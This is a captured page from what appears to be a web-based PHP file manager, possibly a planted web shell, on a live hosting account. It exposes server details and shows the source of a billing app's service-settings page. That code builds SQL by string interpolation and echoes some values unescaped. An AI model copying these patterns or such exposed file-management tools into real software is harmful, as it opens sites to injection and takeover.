Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/ecommer.in/public_html/billing/pawn

Free Space:

10.27 TB

🔧 Quick Actions

✏️ Editing: service-settings.php

<?php
session_start();
require_once 'includes/db.php';

// Check user role
$user_role = isset($_SESSION['user_role']) ? $_SESSION['user_role'] : 'sale';

// Handle AJAX request for service details
if (isset($_GET['ajax']) && $_GET['ajax'] == 'get_service') {
    header('Content-Type: application/json');
    
    if (isset($_GET['id'])) {
        $service_id = mysqli_real_escape_string($conn, $_GET['id']);
        $query = mysqli_query($conn, "SELECT * FROM services WHERE id = '$service_id'");
        
        if ($query && mysqli_num_rows($query) > 0) {
            $service = mysqli_fetch_assoc($query);
            echo json_encode(['success' => true, 'service' => $service]);
        } else {
            echo json_encode(['success' => false, 'message' => 'Service not found']);
        }
    } else {
        echo json_encode(['success' => false, 'message' => 'Invalid request']);
    }
    exit();
}

// Handle form submissions
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['add_service'])) {
        // Add new service
        $service_name = mysqli_real_escape_string($conn, $_POST['service_name']);
        $cost_price = mysqli_real_escape_string($conn, $_POST['cost_price']);
        $selling_price = mysqli_real_escape_string($conn, $_POST['selling_price']);
        $category_id = mysqli_real_escape_string($conn, $_POST['category_id']);
        $duration = mysqli_real_escape_string($conn, $_POST['duration']);
        $description = mysqli_real_escape_string($conn, $_POST['description']);
        $hsn_code = mysqli_real_escape_string($conn, $_POST['hsn_code']);
        $is_gst_applicable = isset($_POST['is_gst_applicable']) ? 1 : 0;
        $gst_percentage = mysqli_real_escape_string($conn, $_POST['gst_percentage']);
        
        $sql = "INSERT INTO services (service_name, cost_price, selling_price, category_id, 
                duration, description, hsn_code, is_gst_applicable, gst_percentage, status) 
                VALUES ('$service_name', '$cost_price', '$selling_price', '$category_id',
                '$duration', '$description', '$hsn_code', '$is_gst_applicable', '$gst_percentage', 'active')";
        
        if (mysqli_query($conn, $sql)) {
            $success_message = "Service added successfully!";
            
            // Log the action
            $service_id = mysqli_insert_id($conn);
            $log_details = json_encode([
                'service_name' => $service_name,
                'category_id' => $category_id,
                'cost_price' => $cost_price,
                'selling_price' => $selling_price,
                'profit' => $selling_price - $cost_price,
                'profit_percentage' => $cost_price > 0 ? round(($selling_price - $cost_price) / $cost_price * 100, 2) : 0,
                'duration' => $duration,
                'description' => $description,
                'status' => 'active',
                'hsn_code' => $hsn_code,
                'is_gst_applicable' => $is_gst_applicable,
                'gst_percentage' => $gst_percentage
            ]);
            
            $log_sql = "INSERT INTO service_logs (service_id, action, details) 
                       VALUES ('$service_id', 'SERVICE_CREATED', '$log_details')";
            mysqli_query($conn, $log_sql);
        } else {
            $error_message = "Failed to add service: " . mysqli_error($conn);
        }
    }
    
    if (isset($_POST['add_category'])) {
        // Add new service category
        $category_name = mysqli_real_escape_string($conn, $_POST['category_name']);
        $description = mysqli_real_escape_string($conn, $_POST['category_description']);
        
        // Check if category already exists
        $check_sql = "SELECT id FROM service_categories WHERE category_name = '$category_name'";
        $check_result = mysqli_query($conn, $check_sql);
        
        if (mysqli_num_rows($check_result) > 0) {
            $error_message = "Category '$category_name' already exists!";
        } else {
            $sql = "INSERT INTO service_categories (category_name, description, status) 
                    VALUES ('$category_name', '$description', 'active')";
            
            if (mysqli_query($conn, $sql)) {
                $success_message = "Service category added successfully!";
            } else {
                $error_message = "Failed to add category: " . mysqli_error($conn);
            }
        }
    }
    
    if (isset($_POST['update_service'])) {
        // Update service
        $service_id = mysqli_real_escape_string($conn, $_POST['service_id']);
        $service_name = mysqli_real_escape_string($conn, $_POST['service_name']);
        $cost_price = mysqli_real_escape_string($conn, $_POST['cost_price']);
        $selling_price = mysqli_real_escape_string($conn, $_POST['selling_price']);
        $category_id = mysqli_real_escape_string($conn, $_POST['category_id']);
        $duration = mysqli_real_escape_string($conn, $_POST['duration']);
        $description = mysqli_real_escape_string($conn, $_POST['description']);
        $hsn_code = mysqli_real_escape_string($conn, $_POST['hsn_code']);
        $is_gst_applicable = isset($_POST['is_gst_applicable']) ? 1 : 0;
        $gst_percentage = mysqli_real_escape_string($conn, $_POST['gst_percentage']);
        
        // Get old values for logging
        $old_query = mysqli_query($conn, "SELECT * FROM services WHERE id = '$service_id'");
        $old_data = mysqli_fetch_assoc($old_query);
        
        $sql = "UPDATE services SET 
                service_name = '$service_name',
                cost_price = '$cost_price',
                selling_price = '$selling_price',
                category_id = '$category_id',
                duration = '$duration',
                description = '$description',
                hsn_code = '$hsn_code',
                is_gst_applicable = '$is_gst_applicable',
                gst_percentage = '$gst_percentage'
                WHERE id = '$service_id'";
        
        if (mysqli_query($conn, $sql)) {
            $success_message = "Service updated successfully!";
            
            // Log the action
            $new_data = [
                'service_name' => $service_name,
                'cost_price' => $cost_price,
                'selling_price' => $selling_price,
                'category_id' => $category_id,
                'duration' => $duration,
                'description' => $description,
                'hsn_code' => $hsn_code,
                'is_gst_applicable' => $is_gst_applicable,
                'gst_percentage' => $gst_percentage
            ];
            
            $log_details = json_encode([
                'old_values' => $old_data,
                'new_values' => $new_data
            ]);
            
            $log_sql = "INSERT INTO service_logs (service_id, action, details) 
                       VALUES ('$service_id', 'SERVICE_UPDATED', '$log_details')";
            mysqli_query($conn, $log_sql);
        } else {
            $error_message = "Failed to update service: " . mysqli_error($conn);
        }
    }
    
    if (isset($_POST['update_category'])) {
        // Update category
        $category_id = mysqli_real_escape_string($conn, $_POST['category_id']);
        $category_name = mysqli_real_escape_string($conn, $_POST['category_name']);
        $description = mysqli_real_escape_string($conn, $_POST['category_description']);
        $status = mysqli_real_escape_string($conn, $_POST['category_status']);
        
        $sql = "UPDATE service_categories SET 
                category_name = '$category_name',
                description = '$description',
                status = '$status'
                WHERE id = '$category_id'";
        
        if (mysqli_query($conn, $sql)) {
            $success_message = "Service category updated successfully!";
        } else {
            $error_message = "Failed to update category: " . mysqli_error($conn);
        }
    }
    
    if (isset($_POST['toggle_service_status'])) {
        // Toggle service status
        $service_id = mysqli_real_escape_string($conn, $_POST['service_id']);
        
        // Get current status
        $status_query = mysqli_query($conn, "SELECT status FROM services WHERE id = '$service_id'");
        $status_row = mysqli_fetch_assoc($status_query);
        $current_status = $status_row['status'];
        $new_status = ($current_status == 'active') ? 'inactive' : 'active';
        
        $sql = "UPDATE services SET status = '$new_status' WHERE id = '$service_id'";
        
        if (mysqli_query($conn, $sql)) {
            $success_message = "Service status updated successfully!";
            
            // Log the action
            $log_details = json_encode([
                'old_status' => $current_status,
                'new_status' => $new_status
            ]);
            
            $log_sql = "INSERT INTO service_logs (service_id, action, details) 
                       VALUES ('$service_id', 'STATUS_CHANGED', '$log_details')";
            mysqli_query($conn, $log_sql);
        } else {
            $error_message = "Failed to update service status: " . mysqli_error($conn);
        }
    }
}

// Get all service categories
$categories = [];
$categories_query = mysqli_query($conn, "SELECT * FROM service_categories ORDER BY category_name");
while ($row = mysqli_fetch_assoc($categories_query)) {
    $categories[] = $row;
}

// Get all services with category names
$services = [];
$services_query = mysqli_query($conn, "
    SELECT s.*, sc.category_name 
    FROM services s
    LEFT JOIN service_categories sc ON sc.id = s.category_id
    ORDER BY s.service_name
");
while ($row = mysqli_fetch_assoc($services_query)) {
    $services[] = $row;
}

// Get service logs for activity feed
$service_logs = [];
$logs_query = mysqli_query($conn, "
    SELECT sl.*, s.service_name 
    FROM service_logs sl
    LEFT JOIN services s ON s.id = sl.service_id
    ORDER BY sl.created_at DESC
    LIMIT 10
");
while ($row = mysqli_fetch_assoc($logs_query)) {
    $service_logs[] = $row;
}

// Get service sales statistics
$sales_stats = [];
$stats_query = mysqli_query($conn, "
    SELECT 
        COUNT(DISTINCT ss.id) as total_services_sold,
        COUNT(DISTINCT ss.customer_id) as unique_customers,
        COALESCE(SUM(ss.total_amount), 0) as total_revenue,
        COALESCE(AVG(ss.total_amount), 0) as avg_service_value
    FROM service_sales ss
    WHERE ss.service_date >= DATE_SUB(NOW(), INTERVAL 30 DAY)
");
if ($stats_row = mysqli_fetch_assoc($stats_query)) {
    $sales_stats = $stats_row;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <?php include('includes/head.php'); ?>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        .settings-card {
            border-radius: 10px;
            border: 1px solid #e0e0e0;
            margin-bottom: 20px;
        }
        .settings-card .card-header {
            background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
            color: white;
            border-radius: 10px 10px 0 0 !important;
            padding: 15px 20px;
        }
        .settings-icon {
            font-size: 1.5rem;
            margin-right: 10px;
        }
        .form-label {
            font-weight: 600;
            color: #333;
        }
        .required-field::after {
            content: " *";
            color: #dc3545;
        }
        .service-card {
            border: 1px solid #dee2e6;
            border-radius: 8px;
            padding: 15px;
            margin-bottom: 15px;
            transition: all 0.3s;
        }
        .service-card:hover {
            border-color: #007bff;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
        }
        .service-active {
            border-left: 4px solid #28a745;
        }
        .service-inactive {
            border-left: 4px solid #dc3545;
            opacity: 0.7;
        }
        .profit-badge {
            font-size: 0.75rem;
            padding: 2px 6px;
            border-radius: 10px;
        }
        .profit-high { background: #28a745; color: white; }
        .profit-medium { background: #ffc107; color: black; }
        .profit-low { background: #dc3545; color: white; }
        .stats-number {
            font-size: 1.5rem;
            font-weight: 700;
            color: #2c3e50;
        }
        .stats-label {
            font-size: 0.875rem;
            color: #6c757d;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        .status-active { color: #28a745; }
        .status-inactive { color: #dc3545; }
        .modal-content {
            border-radius: 10px;
        }
        .modal-header {
            background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
            color: white;
            border-radius: 10px 10px 0 0 !important;
        }
    </style>
</head>
<body data-sidebar="dark">

<?php include('includes/pre-loader.php'); ?>

<div id="layout-wrapper">
    <?php include('includes/topbar.php'); ?>

<div class="vertical-menu">
        <div data-simplebar class="h-100">
            <?php include('includes/sidebar.php'); ?>
        </div>
    </div>

<div class="main-content">
        <div class="page-content">
            <div class="container-fluid">
                
                <div class="row">
                    <div class="col-12">
                        <div class="page-title-box d-flex align-items-center justify-content-between">
                            <h4 class="mb-0">Service Settings</h4>
                            <div class="page-title-right">
                                <ol class="breadcrumb m-0">
                                    <li class="breadcrumb-item"><a href="index.php">Dashboard</a></li>
                                    <li class="breadcrumb-item active">Services</li>
                                </ol>
                            </div>
                        </div>
                    </div>
                </div>

<?php if (isset($success_message)): ?>
                <div class="row">
                    <div class="col-12">
                        <div class="alert alert-success alert-dismissible fade show" role="alert">
                            <i class="fas fa-check-circle me-2"></i>
                            <?php echo $success_message; ?>
                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                        </div>
                    </div>
                </div>
                <?php endif; ?>

<?php if (isset($error_message)): ?>
                <div class="row">
                    <div class="col-12">
                        <div class="alert alert-danger alert-dismissible fade show" role="alert">
                            <i class="fas fa-exclamation-triangle me-2"></i>
                            <?php echo $error_message; ?>
                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
                        </div>
                    </div>
                </div>
                <?php endif; ?>

<div class="row mb-4">
                    <div class="col-md-6 col-xl-3">
                        <div class="card bg-primary text-white">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-grow-1">
                                        <h4 class="mb-0"><?php echo count($services); ?></h4>
                                        <p class="mb-0 card-label">Total Services</p>
                                    </div>
                                    <div class="flex-shrink-0">
                                        <i class="fas fa-concierge-bell stats-icon"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 col-xl-3">
                        <div class="card bg-success text-white">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-grow-1">
                                        <h4 class="mb-0"><?php echo count($categories); ?></h4>
                                        <p class="mb-0 card-label">Service Categories</p>
                                    </div>
                                    <div class="flex-shrink-0">
                                        <i class="fas fa-tags stats-icon"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 col-xl-3">
                        <div class="card bg-info text-white">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-grow-1">
                                        <h4 class="mb-0"><?php echo $sales_stats['total_services_sold'] ?? 0; ?></h4>
                                        <p class="mb-0 card-label">Services Sold (30d)</p>
                                    </div>
                                    <div class="flex-shrink-0">
                                        <i class="fas fa-chart-line stats-icon"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                    
                    <div class="col-md-6 col-xl-3">
                        <div class="card bg-warning text-white">
                            <div class="card-body">
                                <div class="d-flex align-items-center">
                                    <div class="flex-grow-1">
                                        <h4 class="mb-0">₹<?php echo number_format($sales_stats['total_revenue'] ?? 0, 2); ?></h4>
                                        <p class="mb-0 card-label">Service Revenue (30d)</p>
                                    </div>
                                    <div class="flex-shrink-0">
                                        <i class="fas fa-rupee-sign stats-icon"></i>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

<div class="row">
                    <div class="col-lg-6">
                        <div class="card settings-card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="fas fa-plus-circle settings-icon"></i>
                                    Add New Service
                                </h5>
                            </div>
                            <div class="card-body">
                                <form method="POST" action="">
                                    <div class="row mb-3">
                                        <div class="col-md-12">
                                            <label for="service_name" class="form-label required-field">Service Name</label>
                                            <input type="text" class="form-control" id="service_name" name="service_name" required>
                                        </div>
                                    </div>
                                    
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <label for="category_id" class="form-label required-field">Category</label>
                                            <select class="form-select" id="category_id" name="category_id" required>
                                                <option value="">Select Category</option>
                                                <?php foreach ($categories as $category): ?>
                                                <option value="<?php echo $category['id']; ?>">
                                                    <?php echo htmlspecialchars($category['category_name']); ?>
                                                </option>
                                                <?php endforeach; ?>
                                            </select>
                                        </div>
                                        <div class="col-md-6">
                                            <label for="duration" class="form-label">Duration</label>
                                            <input type="text" class="form-control" id="duration" name="duration" 
                                                   placeholder="e.g., 1 Hour, 30 mins">
                                        </div>
                                    </div>
                                    
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <label for="cost_price" class="form-label">Cost Price (₹)</label>
                                            <input type="number" class="form-control" id="cost_price" name="cost_price" 
                                                   step="0.01" min="0" value="0">
                                        </div>
                                        <div class="col-md-6">
                                            <label for="selling_price" class="form-label required-field">Selling Price (₹)</label>
                                            <input type="number" class="form-control" id="selling_price" name="selling_price" 
                                                   step="0.01" min="0" required>
                                        </div>
                                    </div>
                                    
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <label for="hsn_code" class="form-label">HSN Code</label>
                                            <input type="text" class="form-control" id="hsn_code" name="hsn_code" 
                                                   placeholder="e.g., 132221">
                                        </div>
                                        <div class="col-md-6">
                                            <div class="form-check mt-4">
                                                <input type="checkbox" class="form-check-input" id="is_gst_applicable" name="is_gst_applicable" value="1" checked>
                                                <label class="form-check-label" for="is_gst_applicable">GST Applicable</label>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div class="row mb-3">
                                        <div class="col-md-6">
                                            <label for="gst_percentage" class="form-label">GST Percentage</label>
                                            <div class="input-group">
                                                <input type="number" class="form-control" id="gst_percentage" name="gst_percentage" 
                                                       step="0.01" min="0" max="100" value="18">
                                                <span class="input-group-text">%</span>
                                            </div>
                                        </div>
                                    </div>
                                    
                                    <div class="row mb-3">
                                        <div class="col-md-12">
                                            <label for="description" class="form-label">Description</label>
                                            <textarea class="form-control" id="description" name="description" rows="2"></textarea>
                                        </div>
                                    </div>
                                    
                                    <div class="text-end">
                                        <button type="submit" name="add_service" class="btn btn-success">
                                            <i class="fas fa-save me-2"></i>Add Service
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                    </div>
                    
                    
                    <div class="col-lg-6">
                        <div class="card settings-card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="fas fa-folder-plus settings-icon"></i>
                                    Add Service Category
                                </h5>
                            </div>
                            <div class="card-body">
                                <form method="POST" action="">
                                    <div class="row mb-3">
                                        <div class="col-md-12">
                                            <label for="category_name" class="form-label required-field">Category Name</label>
                                            <input type="text" class="form-control" id="category_name" name="category_name" required>
                                        </div>
                                    </div>
                                    
                                    <div class="row mb-3">
                                        <div class="col-md-12">
                                            <label for="category_description" class="form-label">Description</label>
                                            <textarea class="form-control" id="category_description" name="category_description" rows="3"></textarea>
                                        </div>
                                    </div>
                                    
                                    <div class="text-end">
                                        <button type="submit" name="add_category" class="btn btn-primary">
                                            <i class="fas fa-plus me-2"></i>Add Category
                                        </button>
                                    </div>
                                </form>
                                
                                
                                <hr class="my-4">
                                <h6 class="mb-3">Existing Categories</h6>
                                <?php if (!empty($categories)): ?>
                                <div class="table-responsive">
                                    <table class="table table-sm table-hover">
                                        <thead>
                                            <tr>
                                                <th>Category Name</th>
                                                <th>Status</th>
                                                <th>Services</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php foreach ($categories as $category): 
                                                // Count services in this category
                                                $service_count_query = mysqli_query($conn, "SELECT COUNT(*) as count FROM services WHERE category_id = {$category['id']}");
                                                $service_count = mysqli_fetch_assoc($service_count_query)['count'];
                                            ?>
                                            <tr>
                                                <td><?php echo htmlspecialchars($category['category_name']); ?></td>
                                                <td>
                                                    <?php if ($category['status'] == 'active'): ?>
                                                    <span class="badge bg-success">Active</span>
                                                    <?php else: ?>
                                                    <span class="badge bg-danger">Inactive</span>
                                                    <?php endif; ?>
                                                </td>
                                                <td><?php echo $service_count; ?> services</td>
                                            </tr>
                                            <?php endforeach; ?>
                                        </tbody>
                                    </table>
                                </div>
                                <?php else: ?>
                                <p class="text-muted">No categories added yet.</p>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

<div class="row">
                    <div class="col-lg-12">
                        <div class="card settings-card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="fas fa-list settings-icon"></i>
                                    Service List
                                </h5>
                            </div>
                            <div class="card-body">
                                <?php if (!empty($services)): ?>
                                <div class="table-responsive">
                                    <table class="table table-hover align-middle">
                                        <thead class="table-light">
                                            <tr>
                                                <th>Service Name</th>
                                                <th>Category</th>
                                                <th class="text-end">Cost Price</th>
                                                <th class="text-end">Selling Price</th>
                                                <th class="text-end">Profit</th>
                                                <th>Duration</th>
                                                <th>HSN Code</th>
                                                <th>GST</th>
                                                <th>Status</th>
                                                <th>Actions</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php foreach ($services as $service): 
                                                $profit = $service['selling_price'] - $service['cost_price'];
                                                $profit_percentage = $service['cost_price'] > 0 ? ($profit / $service['cost_price'] * 100) : 0;
                                            ?>
                                            <tr>
                                                <td>
                                                    <strong><?php echo htmlspecialchars($service['service_name']); ?></strong>
                                                    <?php if (!empty($service['description'])): ?>
                                                    <br><small class="text-muted"><?php echo htmlspecialchars(substr($service['description'], 0, 50)); ?>...</small>
                                                    <?php endif; ?>
                                                </td>
                                                <td><?php echo htmlspecialchars($service['category_name'] ?? 'Uncategorized'); ?></td>
                                                <td class="text-end">₹<?php echo number_format($service['cost_price'], 2); ?></td>
                                                <td class="text-end">₹<?php echo number_format($service['selling_price'], 2); ?></td>
                                                <td class="text-end">
                                                    <span class="badge <?php echo $profit_percentage > 50 ? 'profit-high' : ($profit_percentage > 20 ? 'profit-medium' : 'profit-low'); ?>">
                                                        ₹<?php echo number_format($profit, 2); ?> 
                                                        (<?php echo number_format($profit_percentage, 1); ?>%)
                                                    </span>
                                                </td>
                                                <td><?php echo htmlspecialchars($service['duration'] ?? 'N/A'); ?></td>
                                                <td><code><?php echo htmlspecialchars($service['hsn_code'] ?? '-'); ?></code></td>
                                                <td>
                                                    <?php if ($service['is_gst_applicable'] == 1): ?>
                                                    <span class="badge bg-info"><?php echo $service['gst_percentage']; ?>%</span>
                                                    <?php else: ?>
                                                    <span class="badge bg-secondary">No GST</span>
                                                    <?php endif; ?>
                                                </td>
                                                <td>
                                                    <?php if ($service['status'] == 'active'): ?>
                                                    <span class="status-active">Active</span>
                                                    <?php else: ?>
                                                    <span class="status-inactive">Inactive</span>
                                                    <?php endif; ?>
                                                </td>
                                                <td>
                                                    <button type="button" class="btn btn-sm btn-outline-primary" 
                                                            data-bs-toggle="modal" data-bs-target="#editServiceModal"
                                                            onclick="loadServiceData(<?php echo $service['id']; ?>)">
                                                        <i class="fas fa-edit"></i>
                                                    </button>
                                                    <form method="POST" action="" class="d-inline">
                                                        <input type="hidden" name="service_id" value="<?php echo $service['id']; ?>">
                                                        <button type="submit" name="toggle_service_status" class="btn btn-sm btn-outline-<?php echo $service['status'] == 'active' ? 'warning' : 'success'; ?>">
                                                            <i class="fas fa-<?php echo $service['status'] == 'active' ? 'pause' : 'play'; ?>"></i>
                                                        </button>
                                                    </form>
                                                </td>
                                            </tr>
                                            <?php endforeach; ?>
                                        </tbody>
                                    </table>
                                </div>
                                <?php else: ?>
                                <div class="alert alert-info">
                                    <i class="fas fa-info-circle me-2"></i>
                                    No services added yet. Add your first service using the form above.
                                </div>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

<div class="row">
                    <div class="col-lg-12">
                        <div class="card settings-card">
                            <div class="card-header">
                                <h5 class="mb-0">
                                    <i class="fas fa-history settings-icon"></i>
                                    Recent Service Activity
                                </h5>
                            </div>
                            <div class="card-body">
                                <?php if (!empty($service_logs)): ?>
                                <div class="activity-feed" style="max-height: 300px; overflow-y: auto;">
                                    <ul class="list-group list-group-flush">
                                        <?php foreach ($service_logs as $log): 
                                            $details = json_decode($log['details'], true);
                                            $time = date('M d, h:i A', strtotime($log['created_at']));
                                        ?>
                                        <li class="list-group-item">
                                            <div class="d-flex justify-content-between align-items-start">
                                                <div>
                                                    <strong><?php echo htmlspecialchars($log['service_name'] ?? 'Unknown Service'); ?></strong>
                                                    <small class="text-muted d-block">
                                                        <?php 
                                                        switch($log['action']) {
                                                            case 'SERVICE_CREATED':
                                                                echo '<span class="text-success"><i class="fas fa-plus me-1"></i>Service created</span>';
                                                                break;
                                                            case 'SERVICE_UPDATED':
                                                                echo '<span class="text-primary"><i class="fas fa-edit me-1"></i>Service updated</span>';
                                                                break;
                                                            case 'STATUS_CHANGED':
                                                                $old_status = $details['old_status'] ?? 'unknown';
                                                                $new_status = $details['new_status'] ?? 'unknown';
                                                                echo '<span class="text-warning"><i class="fas fa-sync-alt me-1"></i>Status changed: ' . $old_status . ' → ' . $new_status . '</span>';
                                                                break;
                                                            default:
                                                                echo htmlspecialchars($log['action']);
                                                        }
                                                        ?>
                                                    </small>
                                                </div>
                                                <small class="text-muted"><?php echo $time; ?></small>
                                            </div>
                                        </li>
                                        <?php endforeach; ?>
                                    </ul>
                                </div>
                                <?php else: ?>
                                <p class="text-muted">No recent activity logs.</p>
                                <?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

</div>
        </div>

<?php include('includes/footer.php'); ?>
    </div>
</div>

<div class="modal fade" id="editServiceModal" tabindex="-1" aria-labelledby="editServiceModalLabel" aria-hidden="true">
    <div class="modal-dialog modal-lg">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="editServiceModalLabel">Edit Service</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <form method="POST" action="" id="editServiceForm">
                <div class="modal-body">
                    <input type="hidden" name="service_id" id="edit_service_id">
                    
                    <div class="row mb-3">
                        <div class="col-md-12">
                            <label for="edit_service_name" class="form-label required-field">Service Name</label>
                            <input type="text" class="form-control" id="edit_service_name" name="service_name" required>
                        </div>
                    </div>
                    
                    <div class="row mb-3">
                        <div class="col-md-6">
                            <label for="edit_category_id" class="form-label required-field">Category</label>
                            <select class="form-select" id="edit_category_id" name="category_id" required>
                                <option value="">Select Category</option>
                                <?php foreach ($categories as $category): ?>
                                <option value="<?php echo $category['id']; ?>">
                                    <?php echo htmlspecialchars($category['category_name']); ?>
                                </option>
                                <?php endforeach; ?>
                            </select>
                        </div>
                        <div class="col-md-6">
                            <label for="edit_duration" class="form-label">Duration</label>
                            <input type="text" class="form-control" id="edit_duration" name="duration">
                        </div>
                    </div>
                    
                    <div class="row mb-3">
                        <div class="col-md-6">
                            <label for="edit_cost_price" class="form-label">Cost Price (₹)</label>
                            <input type="number" class="form-control" id="edit_cost_price" name="cost_price" step="0.01" min="0">
                        </div>
                        <div class="col-md-6">
                            <label for="edit_selling_price" class="form-label required-field">Selling Price (₹)</label>
                            <input type="number" class="form-control" id="edit_selling_price" name="selling_price" step="0.01" min="0" required>
                        </div>
                    </div>
                    
                    <div class="row mb-3">
                        <div class="col-md-6">
                            <label for="edit_hsn_code" class="form-label">HSN Code</label>
                            <input type="text" class="form-control" id="edit_hsn_code" name="hsn_code">
                        </div>
                        <div class="col-md-6">
                            <div class="form-check mt-4">
                                <input type="checkbox" class="form-check-input" id="edit_is_gst_applicable" name="is_gst_applicable" value="1">
                                <label class="form-check-label" for="edit_is_gst_applicable">GST Applicable</label>
                            </div>
                        </div>
                    </div>
                    
                    <div class="row mb-3">
                        <div class="col-md-6">
                            <label for="edit_gst_percentage" class="form-label">GST Percentage</label>
                            <div class="input-group">
                                <input type="number" class="form-control" id="edit_gst_percentage" name="gst_percentage" step="0.01" min="0" max="100">
                                <span class="input-group-text">%</span>
                            </div>
                        </div>
                    </div>
                    
                    <div class="row mb-3">
                        <div class="col-md-12">
                            <label for="edit_description" class="form-label">Description</label>
                            <textarea class="form-control" id="edit_description" name="description" rows="3"></textarea>
                        </div>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" name="update_service" class="btn btn-primary">Save Changes</button>
                </div>
            </form>
        </div>
    </div>
</div>

<?php include('includes/rightbar.php'); ?>
<?php include('includes/scripts.php'); ?>

// Add event listener for modal show to clear form
document.getElementById('editServiceModal').addEventListener('show.bs.modal', function () {
    // Clear form when modal opens
    document.getElementById('editServiceForm').reset();
});

// Auto-calculate profit percentage when prices change
document.addEventListener('DOMContentLoaded', function() {
    const costPrice = document.getElementById('cost_price');
    const sellingPrice = document.getElementById('selling_price');
    
    function calculateProfit() {
        const cost = parseFloat(costPrice.value) || 0;
        const selling = parseFloat(sellingPrice.value) || 0;
        
        if (selling > 0) {
            const profit = selling - cost;
            const profitPercentage = cost > 0 ? (profit / cost * 100).toFixed(2) : '∞';
            
            // You can display this somewhere if needed
            // console.log(`Profit: ₹${profit.toFixed(2)} (${profitPercentage}%)`);
        }
    }
    
    if (costPrice) costPrice.addEventListener('input', calculateProfit);
    if (sellingPrice) sellingPrice.addEventListener('input', calculateProfit);
});
</script>

</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: service-settings.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation